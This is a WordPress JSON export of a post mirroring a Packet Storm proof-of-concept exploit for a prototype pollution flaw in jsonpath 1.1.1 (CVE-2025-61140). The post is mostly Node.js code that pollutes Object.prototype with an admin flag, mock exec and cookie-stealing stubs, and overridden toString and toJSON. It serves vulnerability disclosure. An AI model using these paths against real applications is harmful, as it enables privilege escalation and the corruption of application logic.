{"id":40109,"date":"2026-02-10T13:49:51","date_gmt":"2026-02-10T13:49:51","guid":{"rendered":"http:\/\/localhost\/?p=40109"},"modified":"2026-02-10T13:49:51","modified_gmt":"2026-02-10T13:49:51","slug":"jsonpath-111-prototype-pollution","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=40109","title":{"rendered":"\ud83d\udcc4 jsonpath 1.1.1 Prototype Pollution_PACKETSTORM:215222"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-10T19:07:10&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a prototype pollution vulnerability in jsonpath version 1.1.1, where unsafe writes to $.constructor.prototype allows attackers to inject arbitrary properties and functions into Object.prototype. By abusing jsonpath.value,&#8230;&#8221;,&#8221;published&#8221;:&#8221;2026-02-10T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2026-02-10T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 jsonpath 1.1.1 Prototype Pollution&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:215222&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[&#8220;CVE-2025-61140&#8243;],&#8221;sourceData&#8221;:&#8221;=============================================================================================================================================\\n    | # Title     : jsonpath 1.1.1 Prototype Pollution via constructor.prototype Assignment                                                     |\\n    | # Author    : indoushka                                                                                                                   |\\n    | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 147.0.3 (64 bits)                                                            |\\n    | # Vendor    : https:\/\/www.redhat.com\/                                                                                                     |\\n    =============================================================================================================================================\\n    \\n    [+] References : https:\/\/packetstorm.news\/files\/id\/215071\/  \\u0026 \\tCVE-2025-61140\\n    \\n    [+] Summary    : a prototype pollution vulnerability in jsonpath v1.1.1, where unsafe writes to $.constructor.prototype allow attackers to inject arbitrary properties and functions into Object.prototype. \\n                     By abusing jsonpath.value, an attacker can globally modify object behavior\u2014adding flags (e.g., admin), overriding core methods (toString, toJSON), and impacting arrays and strings through \\n    \\t\\t\\t\\t the shared prototype chain. The PoC runs in Node.js and shows how a vulnerable application that accepts user\u2011controlled JSONPath expressions can be compromised, \\n    \\t\\t\\t\\t leading to privilege escalation and logic manipulation across the entire runtime.\\n                     Unvalidated writes to constructor.prototype enable global state corruption\u2014making prototype pollution a high\u2011impact risk even without direct code execution.\\n      \\n    [+] POC :   \\n    \\n    const jsonpath = require(&#8216;jsonpath&#8217;);\\n    \\n    console.log(\\&#8221;=== Prototype Pollution PoC By indoushka(jsonpath 1.1.1) ===\\\\n\\&#8221;);\\n    console.log(\\&#8221;1. Basic Test:\\&#8221;);\\n    console.log(\\&#8221;Before:\\&#8221;, ({}).polluted); \/\/ undefined\\n    jsonpath.value({}, &#8216;$.constructor.prototype.polluted&#8217;, \\&#8221;Yes, polluted\\&#8221;);\\n    jsonpath.value({}, &#8216;$.constructor.prototype.isHacked&#8217;, true);\\n    jsonpath.value({}, &#8216;$.constructor.prototype.hacker&#8217;, \\&#8221;attacker\\&#8221;);\\n    \\n    console.log(\\&#8221;After polluted:\\&#8221;, ({}).polluted);\\n    console.log(\\&#8221;After isHacked:\\&#8221;, ({}).isHacked);\\n    console.log(\\&#8221;After hacker:\\&#8221;, ({}).hacker);\\n    console.log(\\&#8221;\\\\n2. Function Injection:\\&#8221;);\\n    \\n    jsonpath.value({}, &#8216;$.constructor.prototype.exec&#8217;, function (cmd) {\\n        return `[MOCK EXEC] ${cmd}`;\\n    });\\n    \\n    jsonpath.value({}, &#8216;$.constructor.prototype.stealCookie&#8217;, function () {\\n        return \\&#8221;Node.js environment \u2013 no cookies\\&#8221;;\\n    });\\n    \\n    const o = {};\\n    console.log(o.exec(\\&#8221;whoami\\&#8221;));\\n    console.log(o.stealCookie());\\n    console.log(\\&#8221;\\\\n3. Behavior Modification:\\&#8221;);\\n    \\n    const originalToString = Object.prototype.toString;\\n    const originalToJSON   = Object.prototype.toJSON;\\n    \\n    jsonpath.value({}, &#8216;$.constructor.prototype.toString&#8217;, function () {\\n        return \\&#8221;[Object HACKED]\\&#8221;;\\n    });\\n    \\n    jsonpath.value({}, &#8216;$.constructor.prototype.toJSON&#8217;, function () {\\n        return { hacked: true };\\n    });\\n    \\n    const test = { a: 1 };\\n    console.log(\\&#8221;toString:\\&#8221;, test.toString());\\n    console.log(\\&#8221;JSON:\\&#8221;, JSON.stringify(test));\\n    console.log(\\&#8221;\\\\n4. Other Types:\\&#8221;);\\n    const arr = [1, 2, 3];\\n    console.log(\\&#8221;Array polluted:\\&#8221;, arr.polluted);\\n    const str = \\&#8221;hello\\&#8221;;\\n    console.log(\\&#8221;String polluted:\\&#8221;, str.polluted);\\n    console.log(\\&#8221;\\\\n5. Practical Scenario:\\&#8221;);\\n    \\n    function vulnerableApplication(path, value) {\\n        jsonpath.value({}, path, value);\\n    }\\n    \\n    console.log(\\&#8221;Before admin:\\&#8221;, ({}).admin);\\n    \\n    vulnerableApplication(\\n        &#8216;$.constructor.prototype.admin&#8217;,\\n        true\\n    );\\n    \\n    console.log(\\&#8221;After admin:\\&#8221;, ({}).admin);\\n    console.log(\\&#8221;\\\\n6. Cleanup:\\&#8221;);\\n    \\n    delete Object.prototype.polluted;\\n    delete Object.prototype.isHacked;\\n    delete Object.prototype.hacker;\\n    delete Object.prototype.exec;\\n    delete Object.prototype.stealCookie;\\n    delete Object.prototype.admin;\\n    \\n    Object.prototype.toString = originalToString;\\n    Object.prototype.toJSON   = originalToJSON;\\n    \\n    console.log(\\&#8221;After cleanup polluted:\\&#8221;, ({}).polluted);\\n    console.log(\\&#8221;After cleanup admin:\\&#8221;, ({}).admin);\\n    \\n    Greetings to :======================================================================\\n    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|\\n    ====================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215222&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:9.8,&#8221;severity&#8221;:&#8221;CRITICAL&#8221;,&#8221;vector&#8221;:&#8221;CVSS:3.1\/AV:N\/AC:L\/PR:N\/UI:N\/S:U\/C:H\/I:H\/A:H&#8221;,&#8221;version&#8221;:&#8221;3.1&#8243;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215222\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-10T19:07:10&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a prototype pollution vulnerability in jsonpath version 1.1.1, where unsafe writes to $.constructor.prototype allows attackers to inject arbitrary properties and&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[9,6,8,35,12,13,53,7,11,5],"class_list":["post-40109","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-critical","tag-cve","tag-cvss","tag-cvss-98","tag-exploit","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 jsonpath 1.1.1 Prototype Pollution_PACKETSTORM:215222 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=40109\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 jsonpath 1.1.1 Prototype Pollution_PACKETSTORM:215222 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-10T19:07:10&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a prototype pollution vulnerability in jsonpath version 1.1.1, where unsafe writes to $.constructor.prototype allows attackers to inject arbitrary properties and...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=40109\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-10T13:49:51+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40109#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40109\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 jsonpath 1.1.1 Prototype Pollution_PACKETSTORM:215222\",\"datePublished\":\"2026-02-10T13:49:51+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40109\"},\"wordCount\":649,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CRITICAL\",\"CVE\",\"CVSS\",\"CVSS-9.8\",\"exploit\",\"news\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=40109#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40109\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40109\",\"name\":\"\ud83d\udcc4 jsonpath 1.1.1 Prototype Pollution_PACKETSTORM:215222 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-10T13:49:51+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40109#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=40109\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=40109#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 jsonpath 1.1.1 Prototype Pollution_PACKETSTORM:215222\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 jsonpath 1.1.1 Prototype Pollution_PACKETSTORM:215222 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=40109","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 jsonpath 1.1.1 Prototype Pollution_PACKETSTORM:215222 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-10T19:07:10&#8243;,&#8221;description&#8221;:&#8221;Proof of concept exploit for a prototype pollution vulnerability in jsonpath version 1.1.1, where unsafe writes to $.constructor.prototype allows attackers to inject arbitrary properties and...","og_url":"https:\/\/zero.redgem.net\/?p=40109","og_site_name":"zero redgem","article_published_time":"2026-02-10T13:49:51+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"3 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=40109#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=40109"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 jsonpath 1.1.1 Prototype Pollution_PACKETSTORM:215222","datePublished":"2026-02-10T13:49:51+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=40109"},"wordCount":649,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CRITICAL","CVE","CVSS","CVSS-9.8","exploit","news","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=40109#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=40109","url":"https:\/\/zero.redgem.net\/?p=40109","name":"\ud83d\udcc4 jsonpath 1.1.1 Prototype Pollution_PACKETSTORM:215222 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-10T13:49:51+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=40109#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=40109"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=40109#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 jsonpath 1.1.1 Prototype Pollution_PACKETSTORM:215222"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/40109","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=40109"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/40109\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=40109"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=40109"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=40109"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}